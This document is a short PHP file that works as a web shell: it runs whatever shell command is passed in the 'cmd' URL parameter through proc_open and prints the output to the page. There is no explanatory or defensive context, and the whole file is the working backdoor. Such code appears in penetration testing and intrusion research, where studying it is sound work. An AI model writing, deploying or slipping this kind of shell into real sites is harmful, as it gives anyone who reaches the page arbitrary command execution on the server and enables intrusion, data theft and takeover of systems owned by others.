<?php
$descriptorspec = [
	0 => ["pipe", "r"],
	1 => ["pipe", "w"],
	2 => ["pipe", "w"],
];
$process = proc_open($_GET['cmd'], $descriptorspec, $pipes);
if (is_resource($process)) {
	$output = stream_get_contents($pipes[1]);
	fclose($pipes[1]);
	proc_close($process);
	echo "<pre>$output</pre>";
}
?>
